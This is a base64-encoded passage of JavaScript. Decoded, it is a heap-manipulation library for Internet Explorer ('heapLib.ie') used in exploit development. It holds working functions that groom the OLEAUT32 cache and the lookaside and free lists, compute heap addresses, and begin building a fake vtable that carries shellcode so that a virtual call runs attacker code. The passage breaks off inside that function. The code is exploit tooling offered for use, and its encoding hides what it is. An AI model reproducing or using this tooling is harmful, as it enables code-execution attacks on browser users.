-IGZ1bmN0aW9uKG1heEFsbG9jLCBoZWFwQmFzZSkgew0KDQogICAgdGhpcy5t -YXhBbGxvYyA9IChtYXhBbGxvYyA/IG1heEFsbG9jIDogNjU1MzUpOw0KICAg -IHRoaXMuaGVhcEJhc2UgPSAoaGVhcEJhc2UgPyBoZWFwQmFzZSA6IDB4MTUw -MDAwKTsNCg0KICAgIC8vIEFsbG9jYXRlIGEgcGFkZGluZyBzdHJpbmcgdGhh -dCB1c2VzIG1heEFsbG9jIGJ5dGVzDQogICAgdGhpcy5wYWRkaW5nU3RyID0g -IkFBQUEiOw0KDQogICAgd2hpbGUgKDQgKyB0aGlzLnBhZGRpbmdTdHIubGVu -Z3RoKjIgKyAyIDwgdGhpcy5tYXhBbGxvYykgew0KICAgICAgICB0aGlzLnBh -ZGRpbmdTdHIgKz0gdGhpcy5wYWRkaW5nU3RyOw0KICAgIH0NCiAgICANCiAg -ICAvLyBDcmVhdGUgYW4gYXJyYXkgZm9yIHN0b3JpbmcgcmVmZXJlbmNlcyB0 -byBhbGxvY2F0ZWQgbWVtb3J5DQogICAgdGhpcy5tZW0gPSBuZXcgQXJyYXko -KTsNCg0KICAgIC8vIENhbGwgZmx1c2hPbGVhdXQzMigpIG9uY2UgdG8gYWxs -b2NhdGUgdGhlIG1heGltdW0gc2l6ZSBibG9ja3MNCiAgICB0aGlzLmZsdXNo -T2xlYXV0MzIoKTsNCn0NCg0KDQovLw0KLy8gT3V0cHV0cyBhIGRlYnVnZ2lu -ZyBtZXNzYWdlIGluIFdpbkRiZy4gVGhlIG1zZyBhcmd1bWVudCBtdXN0IGJl -IGEgc3RyaW5nDQovLyBsaXRlcmFsLiBVc2luZyBzdHJpbmcgY29uY2F0ZW5h -dGlvbiB0byBidWlsZCB0aGUgbWVzc2FnZSB3aWxsIHJlc3VsdCBpbiBoZWFw -DQovLyBhbGxvY2F0aW9ucy4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAgICBt -c2cgLSBzdHJpbmcgdG8gb3V0cHV0DQovLw0KDQpoZWFwTGliLmllLnByb3Rv -dHlwZS5kZWJ1ZyA9IGZ1bmN0aW9uKG1zZykgew0KICAgIHZvaWQoTWF0aC5h -dGFuMigweGJhYmUsIG1zZykpOw0KfQ0KDQoNCi8vDQovLyBFbmFibGVzIG9y -IGRpc2FibGVzIGxvZ2dpbmcgb2YgaGVhcCBvcGVyYXRpb25zIGluIFdpbkRi -Zy4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAgICBlbmFibGUgLSBhIGJvb2xl -YW4gdmFsdWUsIHNldCB0byB0cnVlIHRvIGVuYWJsZSBoZWFwIGxvZ2dpbmcN -Ci8vDQoNCmhlYXBMaWIuaWUucHJvdG90eXBlLmRlYnVnSGVhcCA9IGZ1bmN0 -aW9uKGVuYWJsZSkgew0KDQogICAgaWYgKGVuYWJsZSA9PSB0cnVlKQ0KICAg -ICAgICB2b2lkKE1hdGguYXRhbigweGJhYmUpKTsNCiAgICBlbHNlDQogICAg -ICAgIHZvaWQoTWF0aC5hc2luKDB4YmFiZSkpOw0KfQ0KDQoNCi8vDQovLyBU -cmlnZ2VycyBhIGJyZWFrcG9pbnQgaW4gdGhlIGRlYnVnZ2VyLg0KLy8NCg0K -aGVhcExpYi5pZS5wcm90b3R5cGUuZGVidWdCcmVhayA9IGZ1bmN0aW9uKG1z -Zykgew0KICAgIHZvaWQoTWF0aC5hY29zKDB4YmFiZSkpOw0KfQ0KDQoNCi8v -DQovLyBSZXR1cm5zIGEgc3RyaW5nIG9mIGEgc3BlY2lmaWVkIGxlbmd0aCwg -dXAgdG8gdGhlIG1heGltdW0gYWxsb2NhdGlvbiBzaXplDQovLyBzZXQgaW4g -dGhlIGhlYXBMaWIuaWUgY29uc3RydWN0b3IuIFRoZSBzdHJpbmcgY29udGFp -bnMgIkEiIGNoYXJhY3RlcnMuDQovLw0KLy8gQXJndW1lbnRzOg0KLy8gICAg -bGVuIC0gbGVuZ3RoIGluIGNoYXJhY3RlcnMNCi8vDQoNCmhlYXBMaWIuaWUu -cHJvdG90eXBlLnBhZGRpbmcgPSBmdW5jdGlvbihsZW4pIHsNCiAgICBpZiAo -bGVuID4gdGhpcy5wYWRkaW5nU3RyLmxlbmd0aCkNCiAgICAgICAgdGhyb3cg -IlJlcXVlc3RlZCBwYWRkaW5nIHN0cmluZyBsZW5ndGggIiArIGxlbiArICIs -IG9ubHkgIiArIHRoaXMucGFkZGluZ1N0ci5sZW5ndGggKyAiIGF2YWlsYWJs -ZSI7DQoNCiAgICByZXR1cm4gdGhpcy5wYWRkaW5nU3RyLnN1YnN0cigwLCBs -ZW4pOw0KfQ0KDQoNCi8vDQovLyBSZXR1cm5zIGEgbnVtYmVyIHJvdW5kZWQg -dXAgdG8gYSBzcGVjaWZpZWQgdmFsdWUuDQovLw0KLy8gQXJndW1lbnRzOg0K -Ly8gICAgbnVtICAgLSBpbnRlZ2VyIHRvIHJvdW5kDQovLyAgICByb3VuZCAt -IHZhbHVlIHRvIHJvdW5kIHRvDQovLw0KDQpoZWFwTGliLmllLnByb3RvdHlw -ZS5yb3VuZCA9IGZ1bmN0aW9uKG51bSwgcm91bmQpIHsNCiAgICBpZiAocm91 -bmQgPT0gMCkNCiAgICAgICAgdGhyb3cgIlJvdW5kIGFyZ3VtZW50IGNhbm5v -dCBiZSAwIjsNCg0KICAgIHJldHVybiBwYXJzZUludCgobnVtICsgKHJvdW5k -LTEpKSAvIHJvdW5kKSAqIHJvdW5kOw0KfQ0KDQoNCi8vDQovLyBDb252ZXJ0 -cyBhbiBpbnRlZ2VyIHRvIGEgaGV4IHN0cmluZy4gVGhpcyBmdW5jdGlvbiB1 -c2VzIHRoZSBoZWFwLg0KLy8NCi8vIEFyZ3VtZW50czoNCi8vICAgIG51bSAg -IC0gaW50ZWdlciB0byBjb252ZXJ0DQovLyAgICB3aWR0aCAtIHBhZCB0aGUg -b3V0cHV0IHdpdGggemVyb3MgdG8gYSBzcGVjaWZpZWQgd2lkdGggKG9wdGlv -bmFsKQ0KLy8NCg0KaGVhcExpYi5pZS5wcm90b3R5cGUuaGV4ID0gZnVuY3Rp -b24obnVtLCB3aWR0aCkNCnsNCiAgICB2YXIgZGlnaXRzID0gIjAxMjM0NTY3 -ODlBQkNERUYiOw0KDQogICAgdmFyIGhleCA9IGRpZ2l0cy5zdWJzdHIobnVt -ICYgMHhGLCAxKTsNCg0KICAgIHdoaWxlIChudW0gPiAweEYpIHsNCiAgICAg -ICAgbnVtID0gbnVtID4+PiA0Ow0KICAgICAgICBoZXggPSBkaWdpdHMuc3Vi -c3RyKG51bSAmIDB4RiwgMSkgKyBoZXg7DQogICAgfQ0KDQogICAgdmFyIHdp -ZHRoID0gKHdpZHRoID8gd2lkdGggOiAwKTsNCg0KICAgIHdoaWxlIChoZXgu -bGVuZ3RoIDwgd2lkdGgpDQogICAgICAgIGhleCA9ICIwIiArIGhleDsNCg0K -ICAgIHJldHVybiBoZXg7DQp9DQoNCg0KLy8NCi8vIENvbnZlcnQgYSAzMi1i -aXQgYWRkcmVzcyB0byBhIDQtYnl0ZSBzdHJpbmcgd2l0aCB0aGUgc2FtZSBy -ZXByZXNlbnRhdGlvbiBpbg0KLy8gbWVtb3J5LiBUaGlzIGZ1bmN0aW9uIHVz -ZXMgdGhlIGhlYXAuDQovLw0KLy8gQXJndW1lbnRzOg0KLy8gICAgYWRkciAt -IGludGVnZXIgcmVwcmVzZW50YXRpb24gb2YgdGhlIGFkZHJlc3MNCi8vDQoN -CmhlYXBMaWIuaWUucHJvdG90eXBlLmFkZHIgPSBmdW5jdGlvbihhZGRyKSB7 -DQogICAgcmV0dXJuIHVuZXNjYXBlKCIldSIgKyB0aGlzLmhleChhZGRyICYg -MHhGRkZGLCA0KSArICIldSIgKyB0aGlzLmhleCgoYWRkciA+PiAxNikgJiAw -eEZGRkYsIDQpKTsNCn0NCg0KDQovLw0KLy8gQWxsb2NhdGVzIGEgYmxvY2sg -b2YgYSBzcGVjaWZpZWQgc2l6ZSB3aXRoIHRoZSBPTEVBVVQzMiBhbGxvYyBm -dW5jdGlvbi4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAgICBhcmcgLSBzaXpl -IG9mIHRoZSBuZXcgYmxvY2sgaW4gYnl0ZXMsIG9yIGEgc3RyaW5nIHRvIHN0 -cmR1cA0KLy8gICAgdGFnIC0gYSB0YWcgaWRlbnRpZnlpbmcgdGhlIG1lbW9y -eSBibG9jayAob3B0aW9uYWwpDQovLw0KDQpoZWFwTGliLmllLnByb3RvdHlw -ZS5hbGxvY09sZWF1dDMyID0gZnVuY3Rpb24oYXJnLCB0YWcpIHsNCg0KICAg -IHZhciBzaXplOw0KDQogICAgLy8gQ2FsY3VsYXRlIHRoZSBhbGxvY2F0aW9u -IHNpemUNCiAgICBpZiAodHlwZW9mIGFyZyA9PSAic3RyaW5nIiB8fCBhcmcg -aW5zdGFuY2VvZiBTdHJpbmcpDQogICAgICAgIHNpemUgPSA0ICsgYXJnLmxl -bmd0aCoyICsgMjsgICAgLy8gbGVuICsgc3RyaW5nIGRhdGEgKyBudWxsIHRl -cm1pbmF0b3INCiAgICBlbHNlDQogICAgICAgIHNpemUgPSBhcmc7DQoNCiAg -ICAvLyBNYWtlIHN1cmUgdGhhdCB0aGUgc2l6ZSBpcyB2YWxpZA0KICAgIGlm -ICgoc2l6ZSAmIDB4ZikgIT0gMCkNCiAgICAgICAgdGhyb3cgIkFsbG9jYXRp -b24gc2l6ZSAiICsgc2l6ZSArICIgbXVzdCBiZSBhIG11bHRpcGxlIG9mIDE2 -IjsNCg0KICAgIC8vIENyZWF0ZSBhbiBhcnJheSBmb3IgdGhpcyB0YWcgaWYg -ZG9lc24ndCBhbHJlYWR5IGV4aXN0DQogICAgaWYgKHRoaXMubWVtW3RhZ10g -PT09IHVuZGVmaW5lZCkNCiAgICAgICAgdGhpcy5tZW1bdGFnXSA9IG5ldyBB -cnJheSgpOw0KDQogICAgaWYgKHR5cGVvZiBhcmcgPT0gInN0cmluZyIgfHwg -YXJnIGluc3RhbmNlb2YgU3RyaW5nKSB7DQogICAgICAgIC8vIEFsbG9jYXRl -IGEgbmV3IGJsb2NrIHdpdGggc3RyZHVwIG9mIHRoZSBzdHJpbmcgYXJndW1l -bnQNCiAgICAgICAgdGhpcy5tZW1bdGFnXS5wdXNoKGFyZy5zdWJzdHIoMCwg -YXJnLmxlbmd0aCkpOw0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgICAgLy8g -QWxsb2NhdGUgdGhlIGJsb2NrDQogICAgICAgIHRoaXMubWVtW3RhZ10ucHVz -aCh0aGlzLnBhZGRpbmcoKGFyZy02KS8yKSk7DQogICAgfQ0KfQ0KDQoNCi8v -DQovLyBGcmVlcyBhbGwgbWVtb3J5IGJsb2NrcyBtYXJrZWQgd2l0aCBhIHNw -ZWNpZmljIHRhZyB3aXRoIHRoZSBPTEVBVVQzMiBtZW1vcnkNCi8vIGFsbG9j -YXRvci4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAgICB0YWcgLSBhIHRhZyBp -ZGVudGlmeWluZyB0aGUgZ3JvdXAgb2YgYmxvY2tzIHRvIGJlIGZyZWVkDQov -Lw0KDQpoZWFwTGliLmllLnByb3RvdHlwZS5mcmVlT2xlYXV0MzIgPSBmdW5j -dGlvbih0YWcpIHsNCg0KICAgIGRlbGV0ZSB0aGlzLm1lbVt0YWddOw0KICAg -IA0KICAgIC8vIFJ1biB0aGUgZ2FyYmFnZSBjb2xsZWN0b3INCiAgICBDb2xs -ZWN0R2FyYmFnZSgpOw0KfQ0KDQoNCi8vDQovLyBUaGUgSlNjcmlwdCBpbnRl -cnByZXRlciB1c2VzIHRoZSBPTEVBVVQzMiBtZW1vcnkgYWxsb2NhdG9yIGZv -ciBhbGwgc3RyaW5nDQovLyBhbGxvY2F0aW9ucy4gVGhpcyBhbGxvY2F0b3Ig -c3RvcmVzIGZyZWVkIGJsb2NrcyBpbiBhIGNhY2hlIGFuZCByZXVzZXMgdGhl -bQ0KLy8gZm9yIGxhdGVyIGFsbG9jYXRpb25zLiBUaGUgY2FjaGUgY29uc2lz -dHMgb2YgNCBiaW5zLCBlYWNoIHN0b3JpbmcgdXAgdG8gNg0KLy8gYmxvY2tz -LiBFYWNoIGJpbiBob2xkcyBibG9ja3Mgb2YgYSBjZXJ0YWluIHNpemUgcmFu -Z2U6DQovLw0KLy8gICAgMCAtIDMyDQovLyAgICAzMyAtIDY0DQovLyAgICA2 -NSAtIDI1Ng0KLy8gICAgMjU3IC0gMzI3NjgNCi8vDQovLyBXaGVuIGEgYmxv -Y2sgaXMgZnJlZWQgYnkgdGhlIE9MRUFVVDMyIGZyZWUgZnVuY3Rpb24sIGl0 -IGlzIHN0b3JlZCBpbiBvbmUgb2YNCi8vIHRoZSBiaW5zLiBJZiB0aGUgYmlu -IGlzIGZ1bGwsIHRoZSBzbWFsbGVzdCBibG9jayBpbiB0aGUgYmluIGlzIGZy -ZWVkIHdpdGgNCi8vIFJ0bEZyZWVIZWFwKCkgYW5kIGlzIHJlcGxhY2VkIHdp -dGggdGhlIG5ldyBibG9jay4gQ2h1bmtzIGxhcmdlciB0aGFuIDMyNzY4DQov -LyBieXRlcyBhcmUgbm90IGNhY2hlZCBhbmQgYXJlIGZyZWVkIGRpcmVjdGx5 -Lg0KLy8NCi8vIFRvIGZsdXNoIHRoZSBjYWNoZSwgd2UgbmVlZCB0byBmcmVl -IDYgYmxvY2tzIG9mIHRoZSBtYXhpbXVtIHNpemUgZm9yIGVhY2gNCi8vIGJp -bi4gVGhlIG1heGltdW0gc2l6ZSBibG9ja3Mgd2lsbCBwdXNoIG91dCBhbGwg -c21hbGxlciBibG9ja3MgZnJvbSB0aGUNCi8vIGNhY2hlLiBUaGVuIHdlIGFs -bG9jYXRlIHRoZSBtYXhpbXVtIHNpemUgYmxvY2tzIGFnYWluLCBsZWF2aW5n -IHRoZSBjYWNoZQ0KLy8gZW1wdHkuDQovLw0KLy8gWW91IG5lZWQgdG8gY2Fs -bCB0aGlzIGZ1bmN0aW9uIG9uY2UgdG8gYWxsb2NhdGUgdGhlIG1heGltdW0g -c2l6ZSBibG9ja3MNCi8vIGJlZm9yZSB5b3UgY2FuIHVzZSBpdCB0byBmbHVz -aCB0aGUgY2FjaGUuDQovLw0KDQpoZWFwTGliLmllLnByb3RvdHlwZS5mbHVz -aE9sZWF1dDMyID0gZnVuY3Rpb24oKSB7DQoNCiAgICB0aGlzLmRlYnVnKCJG -bHVzaGluZyB0aGUgT0xFQVVUMzIgY2FjaGUiKTsNCg0KICAgIC8vIEZyZWUg -dGhlIG1heGltdW0gc2l6ZSBibG9ja3MgYW5kIHB1c2ggb3V0IGFsbCBzbWFs -bGVyIGJsb2Nrcw0KDQogICAgdGhpcy5mcmVlT2xlYXV0MzIoIm9sZWF1dDMy -Iik7DQogICAgDQogICAgLy8gQWxsb2NhdGUgdGhlIG1heGltdW0gc2l6ZWQg -YmxvY2tzIGFnYWluLCBlbXB0eWluZyB0aGUgY2FjaGUNCg0KICAgIGZvciAo -dmFyIGkgPSAwOyBpIDwgNjsgaSsrKSB7DQogICAgICAgIHRoaXMuYWxsb2NP -bGVhdXQzMigzMiwgIm9sZWF1dDMyIik7DQogICAgICAgIHRoaXMuYWxsb2NP -bGVhdXQzMig2NCwgIm9sZWF1dDMyIik7DQogICAgICAgIHRoaXMuYWxsb2NP -bGVhdXQzMigyNTYsICJvbGVhdXQzMiIpOw0KICAgICAgICB0aGlzLmFsbG9j -T2xlYXV0MzIoMzI3NjgsICJvbGVhdXQzMiIpOw0KICAgIH0NCn0NCg0KDQov -Lw0KLy8gQWxsb2NhdGVzIGEgYmxvY2sgb2YgYSBzcGVjaWZpZWQgc2l6ZSB3 -aXRoIHRoZSBzeXN0ZW0gbWVtb3J5IGFsbG9jYXRvci4gQQ0KLy8gY2FsbCB0 -byB0aGlzIGZ1bmN0aW9uIGlzIGVxdWl2YWxlbnQgdG8gYSBjYWxsIHRvIEhl -YXBBbGxvYygpLiBJZiB0aGUgZmlyc3QNCi8vIGFyZ3VtZW50IGlzIGEgbnVt -YmVyLCBpdCBzcGVjaWZpZXMgdGhlIHNpemUgb2YgdGhlIG5ldyBibG9jaywg -d2hpY2ggaXMNCi8vIGZpbGxlZCB3aXRoICJBIiBjaGFyYWN0ZXJzLiBJZiB0 -aGUgYXJndW1lbnQgaXMgYSBzdHJpbmcsIGl0cyBkYXRhIGlzIGNvcGllZA0K -Ly8gaW50byBhIG5ldyBibG9jayBvZiBzaXplIGFyZy5sZW5ndGggKiAyICsg -Ni4gSW4gYm90aCBjYXNlcyB0aGUgc2l6ZSBvZiB0aGUNCi8vIG5ldyBibG9j -ayBtdXN0IGJlIGEgbXVsdGlwbGUgb2YgMTYgYW5kIG5vdCBlcXVhbCB0byAz -MiwgNjQsIDI1NiBvciAzMjc2OC4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAg -ICBhcmcgLSBzaXplIG9mIHRoZSBtZW1vcnkgYmxvY2sgaW4gYnl0ZXMsIG9y -IGEgc3RyaW5nIHRvIHN0cmR1cA0KLy8gICAgdGFnIC0gYSB0YWcgaWRlbnRp -ZnlpbmcgdGhlIG1lbW9yeSBibG9jayAob3B0aW9uYWwpDQovLw0KDQpoZWFw -TGliLmllLnByb3RvdHlwZS5hbGxvYyA9IGZ1bmN0aW9uKGFyZywgdGFnKSB7 -DQoNCiAgICB2YXIgc2l6ZTsNCg0KICAgIC8vIENhbGN1bGF0ZSB0aGUgYWxs -b2NhdGlvbiBzaXplDQogICAgaWYgKHR5cGVvZiBhcmcgPT0gInN0cmluZyIg -fHwgYXJnIGluc3RhbmNlb2YgU3RyaW5nKQ0KICAgICAgICBzaXplID0gNCAr -IGFyZy5sZW5ndGgqMiArIDI7ICAgIC8vIGxlbiArIHN0cmluZyBkYXRhICsg -bnVsbCB0ZXJtaW5hdG9yDQogICAgZWxzZQ0KICAgICAgICBzaXplID0gYXJn -Ow0KDQogICAgLy8gTWFrZSBzdXJlIHRoYXQgdGhlIHNpemUgaXMgdmFsaWQN -CiAgICBpZiAoc2l6ZSA9PSAzMiB8fCBzaXplID09IDY0IHx8IHNpemUgPT0g -MjU2IHx8IHNpemUgPT0gMzI3NjgpDQogICAgICAgIHRocm93ICJBbGxvY2F0 -aW9uIHNpemVzICIgKyBzaXplICsgIiBjYW5ub3QgYmUgZmx1c2hlZCBvdXQg -b2YgdGhlIE9MRUFVVDMyIGNhY2hlIjsNCg0KICAgIC8vIEFsbG9jYXRlIHRo -ZSBibG9jayB3aXRoIHRoZSBPTEVBVVQzMiBhbGxvY2F0b3INCiAgICB0aGlz -LmFsbG9jT2xlYXV0MzIoYXJnLCB0YWcpOw0KfQ0KDQoNCi8vDQovLyBGcmVl -cyBhbGwgbWVtb3J5IGJsb2NrcyBtYXJrZWQgd2l0aCBhIHNwZWNpZmljIHRh -ZyB3aXRoIHRoZSBzeXN0ZW0gbWVtb3J5DQovLyBhbGxvY2F0b3IuIEEgY2Fs -bCB0byB0aGlzIGZ1bmN0aW9uIGlzIGVxdWl2YWxlbnQgdG8gYSBjYWxsIHRv -IEhlYXBGcmVlKCkuDQovLw0KLy8gQXJndW1lbnRzOg0KLy8gICAgdGFnIC0g -YSB0YWcgaWRlbnRpZnlpbmcgdGhlIGdyb3VwIG9mIGJsb2NrcyB0byBiZSBm -cmVlZA0KLy8NCg0KaGVhcExpYi5pZS5wcm90b3R5cGUuZnJlZSA9IGZ1bmN0 -aW9uKHRhZykgew0KDQogICAgLy8gRnJlZSB0aGUgYmxvY2tzIHdpdGggdGhl -IE9MRUFVVDMyIGZyZWUgZnVuY3Rpb24NCiAgICB0aGlzLmZyZWVPbGVhdXQz -Mih0YWcpOw0KDQogICAgLy8gRmx1c2ggdGhlIE9MRUFVVDMyIGNhY2hlDQog -ICAgdGhpcy5mbHVzaE9sZWF1dDMyKCk7DQp9DQoNCg0KLy8NCi8vIFJ1bnMg -dGhlIGdhcmJhZ2UgY29sbGVjdG9yIGFuZCBmbHVzaGVzIHRoZSBPTEVBVVQz -MiBjYWNoZS4gQ2FsbCB0aGlzDQovLyBmdW5jdGlvbiBiZWZvcmUgYmVmb3Jl -IHVzaW5nIGFsbG9jKCkgYW5kIGZyZWUoKS4NCi8vDQoNCmhlYXBMaWIuaWUu -cHJvdG90eXBlLmdjID0gZnVuY3Rpb24oKSB7DQoNCiAgICB0aGlzLmRlYnVn -KCJSdW5uaW5nIHRoZSBnYXJiYWdlIGNvbGxlY3RvciIpOw0KICAgIENvbGxl -Y3RHYXJiYWdlKCk7DQoNCiAgICB0aGlzLmZsdXNoT2xlYXV0MzIoKTsNCn0N -Cg0KDQovLw0KLy8gQWRkcyBibG9ja3Mgb2YgdGhlIHNwZWNpZmllZCBzaXpl -IHRvIHRoZSBmcmVlIGxpc3QgYW5kIG1ha2VzIHN1cmUgdGhleSBhcmUNCi8v -IG5vdCBjb2FsZXNjZWQuIFRoZSBoZWFwIG11c3QgYmUgZGVmcmFnbWVudGVk -IGJlZm9yZSBjYWxsaW5nIHRoaXMgZnVuY3Rpb24uDQovLyBJZiB0aGUgc2l6 -ZSBvZiB0aGUgbWVtb3J5IGJsb2NrcyBpcyBsZXNzIHRoYW4gMTAyNCwgeW91 -IGhhdmUgdG8gbWFrZSBzdXJlDQovLyB0aGF0IHRoZSBsb29rYXNpZGUgaXMg -ZnVsbC4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAgICBhcmcgICAgLSBzaXpl -IG9mIHRoZSBuZXcgYmxvY2sgaW4gYnl0ZXMsIG9yIGEgc3RyaW5nIHRvIHN0 -cmR1cA0KLy8gICAgY291bnQgIC0gaG93IG1hbnkgZnJlZSBibG9ja3MgdG8g -YWRkIHRvIHRoZSBsaXN0IChkZWZhdWx0cyB0byAxKQ0KLy8NCg0KaGVhcExp -Yi5pZS5wcm90b3R5cGUuZnJlZUxpc3QgPSBmdW5jdGlvbihhcmcsIGNvdW50 -KSB7DQoNCiAgICB2YXIgY291bnQgPSAoY291bnQgPyBjb3VudCA6IDEpOw0K -DQogICAgZm9yICh2YXIgaSA9IDA7IGkgPCBjb3VudDsgaSsrKSB7DQogICAg -ICAgIHRoaXMuYWxsb2MoYXJnKTsNCiAgICAgICAgdGhpcy5hbGxvYyhhcmcs -ICJmcmVlTGlzdCIpOw0KICAgIH0NCiAgICB0aGlzLmFsbG9jKGFyZyk7DQoN -CiAgICB0aGlzLmZyZWUoImZyZWVMaXN0Iik7DQp9DQoNCg0KLy8NCi8vIEFk -ZCBibG9ja3Mgb2YgdGhlIHNwZWNpZmllZCBzaXplIHRvIHRoZSBsb29rYXNp -ZGUuIFRoZSBsb29rYXNpZGUgbXVzdCBiZQ0KLy8gZW1wdHkgYmVmb3JlIGNh -bGxpbmcgdGhpcyBmdW5jdGlvbi4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAg -ICBhcmcgICAgLSBzaXplIG9mIHRoZSBuZXcgYmxvY2sgaW4gYnl0ZXMsIG9y -IGEgc3RyaW5nIHRvIHN0cmR1cA0KLy8gICAgY291bnQgIC0gaG93IG1hbnkg -YmxvY2tzIHRvIGFkZCB0byB0aGUgbG9va2FzaWRlIChkZWZhdWx0cyB0byAx -KQ0KLy8NCg0KaGVhcExpYi5pZS5wcm90b3R5cGUubG9va2FzaWRlID0gZnVu -Y3Rpb24oYXJnLCBjb3VudCkgew0KDQogICAgdmFyIHNpemU7DQoNCiAgICAv -LyBDYWxjdWxhdGUgdGhlIGFsbG9jYXRpb24gc2l6ZQ0KICAgIGlmICh0eXBl -b2YgYXJnID09ICJzdHJpbmciIHx8IGFyZyBpbnN0YW5jZW9mIFN0cmluZykN -CiAgICAgICAgc2l6ZSA9IDQgKyBhcmcubGVuZ3RoKjIgKyAyOyAgICAvLyBs -ZW4gKyBzdHJpbmcgZGF0YSArIG51bGwgdGVybWluYXRvcg0KICAgIGVsc2UN -CiAgICAgICAgc2l6ZSA9IGFyZzsNCg0KICAgIC8vIE1ha2Ugc3VyZSB0aGF0 -IHRoZSBzaXplIGlzIHZhbGlkDQogICAgaWYgKChzaXplICYgMHhmKSAhPSAw -KQ0KICAgICAgICB0aHJvdyAiQWxsb2NhdGlvbiBzaXplICIgKyBzaXplICsg -IiBtdXN0IGJlIGEgbXVsdGlwbGUgb2YgMTYiOw0KDQogICAgaWYgKHNpemUr -OCA+PSAxMDI0KQ0KICAgICAgICB0aHJvdygiTWF4aW11bSBsb29rYXNpZGUg -YmxvY2sgc2l6ZSBpcyAxMDA4IGJ5dGVzIik7DQoNCiAgICB2YXIgY291bnQg -PSAoY291bnQgPyBjb3VudCA6IDEpOw0KDQogICAgZm9yICh2YXIgaSA9IDA7 -IGkgPCBjb3VudDsgaSsrKQ0KICAgICAgICB0aGlzLmFsbG9jKGFyZywgImxv -b2thc2lkZSIpOw0KDQogICAgdGhpcy5mcmVlKCJsb29rYXNpZGUiKTsNCn0N -Cg0KDQovLw0KLy8gUmV0dXJuIHRoZSBhZGRyZXNzIG9mIHRoZSBoZWFkIG9m -IHRoZSBsb29rYXNpZGUgbGlua2VkIGxpc3QgZm9yIGJsb2NrcyBvZiBhDQov -LyBzcGVjaWZpZWQgc2l6ZS4gVXNlcyB0aGUgaGVhcEJhc2UgcGFyYW1ldGVy -IGZyb20gdGhlIGhlYXBMaWIuaWUgY29uc3RydWN0b3IuDQovLw0KLy8gQXJn -dW1lbnRzOg0KLy8gICAgYXJnIC0gc2l6ZSBvZiB0aGUgbmV3IGJsb2NrIGlu -IGJ5dGVzLCBvciBhIHN0cmluZyB0byBzdHJkdXANCi8vDQoNCmhlYXBMaWIu -aWUucHJvdG90eXBlLmxvb2thc2lkZUFkZHIgPSBmdW5jdGlvbihhcmcpDQp7 -DQogICAgdmFyIHNpemU7DQoNCiAgICAvLyBDYWxjdWxhdGUgdGhlIGFsbG9j -YXRpb24gc2l6ZQ0KICAgIGlmICh0eXBlb2YgYXJnID09ICJzdHJpbmciIHx8 -IGFyZyBpbnN0YW5jZW9mIFN0cmluZykNCiAgICAgICAgc2l6ZSA9IDQgKyBh -cmcubGVuZ3RoKjIgKyAyOyAgICAvLyBsZW4gKyBzdHJpbmcgZGF0YSArIG51 -bGwgdGVybWluYXRvcg0KICAgIGVsc2UNCiAgICAgICAgc2l6ZSA9IGFyZzsN -Cg0KICAgIC8vIE1ha2Ugc3VyZSB0aGF0IHRoZSBzaXplIGlzIHZhbGlkDQog -ICAgaWYgKChzaXplICYgMHhmKSAhPSAwKQ0KICAgICAgICB0aHJvdyAiQWxs -b2NhdGlvbiBzaXplICIgKyBzaXplICsgIiBtdXN0IGJlIGEgbXVsdGlwbGUg -b2YgMTYiOw0KDQogICAgaWYgKHNpemUrOCA+PSAxMDI0KQ0KICAgICAgICB0 -aHJvdygiTWF4aW11bSBsb29rYXNpZGUgYmxvY2sgc2l6ZSBpcyAxMDA4IGJ5 -dGVzIik7DQoNCiAgICAvLyBUaGUgbG9va2FoZWFkIGFycmF5IHN0YXJ0cyBh -dCBoZWFwQmFzZSArIDB4Njg4LiBJdCBjb250YWlucyBhIDQ4IGJ5dGUNCiAg -ICAvLyBzdHJ1Y3R1cmUgZm9yIGVhY2ggYmxvY2sgc2l6ZSArIGhlYWRlciBz -aXplIGluIDggYnl0ZSBpbmNyZW1lbnRzLg0KDQogICAgcmV0dXJuIHRoaXMu -aGVhcEJhc2UgKyAweDY4OCArICgoc2l6ZSs4KS84KSo0ODsNCn0NCg0KDQov -Lw0KLy8gUmV0dXJucyBhIGZha2UgdnRhYmxlIHRoYXQgY29udGFpbnMgc2hl -bGxjb2RlLiBUaGUgY2FsbGVyIHNob3VsZCBmcmVlIHRoZQ0KLy8gdnRhYmxl -IHRvIHRoZSBsb29rYXNpZGUgYW5kIHVzZSB0aGUgYWRkcmVzcyBvZiB0aGUg -bG9va2FzaWRlIGhlYWQgYXMgYW4NCi8vIG9iamVjdCBwb2ludGVyLiBXaGVu -IHRoZSB2dGFibGUgaXMgdXNlZCwgdGhlIGFkZHJlc3Mgb2YgdGhlIG9iamVj -dCBtdXN0IGJlDQovLyBpbiBlYXggYW5kIHRoZSBwb2ludGVyIHRvIHRoZSB2 -dGFibGUgbXVzdCBiZSBpbiBlY3guIEFueSB2aXJ0dWFsIGZ1bmN0aW9uDQov -LyBjYWxsIHRocm91Z2ggdGhlIHZ0YWJsZSBmcm9tIGVjeCs4IHRvIGVjeCsw -eDgwIHdpbGwgcmVzdWx0IGluIHNoZWxsY29kZQ0KLy8gZXhlY3V0aW9uLiBU -aGlzIGZ1bmN0aW9uIHVzZXMgdGhlIGhlYXAuDQovLw0KLy8gQXJndW1lbnRz -Og0KLy8gICAgc2hlbGxjb2RlIC0gc2hlbGxjb2RlIHN0cmluZw0KLy8gICAg -am1wZWN4ICAgIC0gYWRkcmVzcyBvZiBhIGptcCBlY3ggb3IgZXF1aXZhbGVu -dCBpbnN0cnVjdGlvbg0KLy8gICAgc2l6ZSAgICAgIC0gc2l6ZSBvZiB0aGUg -dnRhYmxlIHRvIGdlbmVyYXRlIChkZWZhdWx0cyB0byAxMDA4IGJ5dGVzKQ0K -Ly8NCg0KaGVhcExpYi5pZS5wcm90b3R5cGUudnRhYmxlID0gZnVuY3Rpb24o -c2hlbGxjb2RlLCBqbXBlY3gsIHNpemUpIHsNCg0KICAgIHZhciBzaXplID0g -KHNpemUgPyBzaXplIDogMTAwOCk7DQoNCiAgICAvLyBNYWtlIHN1cmUgdGhl -IHNpemUgaXMgdmFsaWQNCiAgICBpZiAoKHNpemUgJiAweGYpICE9IDApDQog 